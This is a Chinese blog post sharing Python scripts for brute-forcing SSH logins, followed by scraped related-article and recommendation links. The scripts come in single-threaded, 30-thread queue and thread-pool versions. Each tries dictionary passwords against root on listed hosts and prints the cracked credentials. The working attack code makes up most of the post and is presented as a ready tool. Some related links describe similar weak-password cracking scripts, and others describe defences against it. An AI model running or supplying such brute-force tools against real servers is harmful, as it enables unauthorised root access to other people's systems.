前些天,基友发我一个ssh爆破工具,看起来很吊的样子。然后我就无聊自己写了个py脚本的。

单线程:慢成狗-----

#coding:utf-8
#author:jwong

import threading
import os
import time
import paramiko
import sys
import Queue
import socket

BASE_DIR = os.path.dirname(os.path.abspath(__file__))

def ssh_connect(host,pwd):
	ssh = paramiko.SSHClient()
	ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
	try:

		ssh.connect(hostname=host,port=22,username='root',password=pwd,timeout=5)
		ssh.close()
		print('破解成功!用户名:root'  + '密码:' + pwd + ',ip:' + host)
	except paramiko.AuthenticationException,e:
		pass
	except socket.error,e:
		pass

# class ClassName(object):
# 	"""docstring for ClassName"""
# 	def __init__(self, arg):
# 		super(ClassName, self).__init__()
# 		self.arg = arg
#
host_file = BASE_DIR + '\dict\hosts.txt'
pass_file = BASE_DIR + '\dict\pass.txt'

def open_file(path):
	host = []
	with open(path,'r') as f:
		for line in f.readlines():
			if line.strip('\n') == '':
				continue
			host.append(line.strip('\n'))
		return host
hosts = open_file(host_file)
password = open_file(pass_file)
for host in hosts:
	for pass12 in password:
		print host
		ssh_connect(host,pass12)

运行会出现:No handlers could be found for logger "paramiko.transport" 错误  ----http://stackoverflow.com/questions/19152578/no-handlers-could-be-found-for-logger-paramiko

多线程版本:

#coding:utf-8
import threading
import Queue
import paramiko
import socket
import os

BASE_DIR = os.path.dirname(os.path.abspath(__file__))
host_file = BASE_DIR + '\dict\hosts.txt'
pass_file = BASE_DIR + '\dict\pass.txt'
paramiko.util.log_to_file("filename.log")
queue = Queue.Queue()
lock = threading.Lock()
def read_host_file(path):
	hostlist = []
	with open(path,'r') as f:
		for line in f.readlines():
			if line == '':
				continue
			line = socket.gethostbyname(line.strip())
			hostlist.append(line)
		return hostlist
def read_pass_file(path):
	passlist = []
	with open(path,'r') as f:
		for line in f.readlines():
			if line == '':
				continue
			passlist.append(line.strip())
		return passlist
class SSH(threading.Thread):
	"""docstring for SSH"""
	def __init__(self,queue):
		threading.Thread.__init__(self)
		self.queue = queue
	def run(self):
		while True:
			# if self.queue.empty():
			# 	break
			host,pwd = self.queue.get()
			try:
				ssh = paramiko.SSHClient()
				ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

				ssh.connect(hostname=host,port=22,username='root',password=pwd,timeout=5)
				ssh.close()
				print('破解成功!用户名:root'  + '密码:' + pwd + ',ip:' + host)

			except paramiko.AuthenticationException,e:
				pass
			except socket.error,e:
				pass
			except:
				pass
			self.queue.task_done()

if __name__ == '__main__':
	hosts = read_host_file(host_file)
	passlist = read_pass_file(pass_file)
	for i in range(30):
		fuck_ssh = SSH(queue)
		fuck_ssh.setDaemon(True)
		fuck_ssh.start()
	for host in hosts:
		for pwd in passlist:
			queue.put((host,pwd))
	queue.join()

  另一个模块实现:

#coding:utf-8

from multiprocessing.dummy import Pool as ThreadPool
from functools import partial

if __name__ == '__main__':
	hosts = read_host_file(host_file)
	passlist = read_pass_file(pass_file)
	for host in hosts:
		partial_user = partial(ssh_connect,host)
		pool = ThreadPool(20)
		pool.map(partial_user,passlist)
		pool.close()
		pool.join()

  

  

参考文献:

http://www.ibm.com/developerworks/cn/aix/library/au-threadingpython/

http://www.waitalone.cn/python-mysql-mult.html

http://www.waitalone.cn/python-brute-all.html

http://www.waitalone.cn/python-thread-map.html

ssh爆破脚本的更多相关文章

  1. python多线程ssh爆破

    python多线程ssh爆破 Python 0x01.About 爆弱口令时候写的一个python小脚本,主要功能是实现使用字典多线程爆破ssh,支持ip表导入,字典数据导入. 主要使用到的是pyth ...

  2. SSH爆破应急响应

    问题发现 登录云主机,根据提示消息,发现正遭受SSH爆破攻击,IP地址为159.65.230.189 查看登录相关安全日志:tail -f /var/log/secure,发现其他尝试爆破IP106. ...

  3. 安装fail2ban,防止ssh爆破及cc攻击

    背景:之前写过shell脚本防止服务器ssh爆破,但是对于服务器的cpu占用较多,看来下资料安装fail2ban 可以有效控制ssh爆破 1:fail2ban 安装(环境:centos6  宝塔) y ...

  4. Python Telnet弱口令爆破脚本及遇到的错误与问题

    写得时候遇到了一个很大的问题,就是我在发送用户名,接受用户名就会一直卡住.然后等了好久后提示 recv ‘\r\nSession timed out.\r\n\r\nTelnet Server has ...

  5. 20181225-Linux Shell Bash环境下自动化创建ssh互信脚本

    20181225-Linux Shell Bash环境下自动化创建ssh互信脚本 1. 我的Blog 博客园 https://www.cnblogs.com/piggybaba/ 个人网站 http: ...

  6. Python SSH爆破以及Python3线程池控制线程数

    源自一个朋友的要求,他的要求是只爆破一个ip,结果出来后就停止,如果是爆破多个,完全没必要停止,等他跑完就好 #!usr/bin/env python #!coding=utf-8 __author_ ...

  7. CentOS 7安装fail2ban+Firewalld防止SSH爆破与CC攻击

    准备工作 1.检查Firewalld是否启用 #如果您已经安装iptables建议先关闭 service iptables stop #查看Firewalld状态 firewall-cmd --sta ...

  8. CentOS7防止CC攻击防止SSH爆破采取的措施

    准备工作 1.检查firewalld是否启用 #如果您已经安装iptables建议先关闭 service iptables stop #查看firewalld状态 firewall-cmd --sta ...

  9. python写批量weblogic爆破脚本

    前言: 整理笔记的时候,发现了weblogic的攻击方法.心里打着算盘看看怎么写 个批量的弱口令爆破脚本.得出了以下思路 思路: 1.利用钟馗之眼采集weblogic的网站,将IP写入到txt 2.添 ...

随机推荐

  1. iOS基础 - 通知中心(NSNotificationCenter)

    通知中心(NSNotificationCenter) 每一个应用程序都有一个通知中心(NSNotificationCenter)实例,专门负责协助不同对象之间的消息通信 任何一个对象都可以向通知中心发 ...

  2. linux extract rar files

    Extract rar-archives If you need to extract rar files in Linux, you have to download and install unr ...

  3. smartcn与IKanalyzer

    开源中文分词框架分词效果对比smartcn与IKanalyzer 项目背景: 某银行呼叫中心工单数据挖掘和分析项目,旨在利用文本计算实现热点聚焦和舆情分析. 一.引言: 中文分词一直是自然语言处理的一 ...

  4. [Usaco2008 Open] Clear And Present Danger 寻宝之路[最短路][水]

    Description     农夫约翰正驾驶一条小艇在牛勒比海上航行.     海上有N(1≤N≤100)个岛屿,用1到N编号.约翰从1号小岛出发,最后到达N号小岛.一 张藏宝图上说,如果他的路程上 ...

  5. 什么是Angular JS?

    Angular JS学习笔记——什么是Angular JS? Angular JS是一个由Google维护的开源的Javascript框架,主要作者为: Misko Hevery(angular JS ...

  6. ASP.NET MVC企业开发的基本环境

    ASP.NET MVC企业开发的基本环境[资源服务器概念] 学完了ASP.NET MVC4 IN ACTION 六波以后 企业开发演习 标签:AaronYang  茗洋  EasyUI1.3.4   ...

  7. hive left outer join的问题

    最近BA用户反馈有两句看似很像的语句返回的结果数不一样,比较奇怪,怀疑是不是Hive的Bug Query 1 返回结果数6071 select count(distinct reviewid) as ...

  8. jQuery表格排序组件-tablesorter

    一.引入文件 <script type="text/javascript" src="js/jquery.js"></script> & ...

  9. jquery以及js实现option左移右移

    <table cellspacing="1" width="350px" align="center"> <tr> ...

  10. 关于Symfony2+nginx搭建过程总结

    关于Symfony2+nginx搭建过程总结 最近在试着用nginx+symfony搭建公司的网站,由于nginx不支持pathinfo模式,所以必须修改nginx(我使用的是nginx1.5.1)的 ...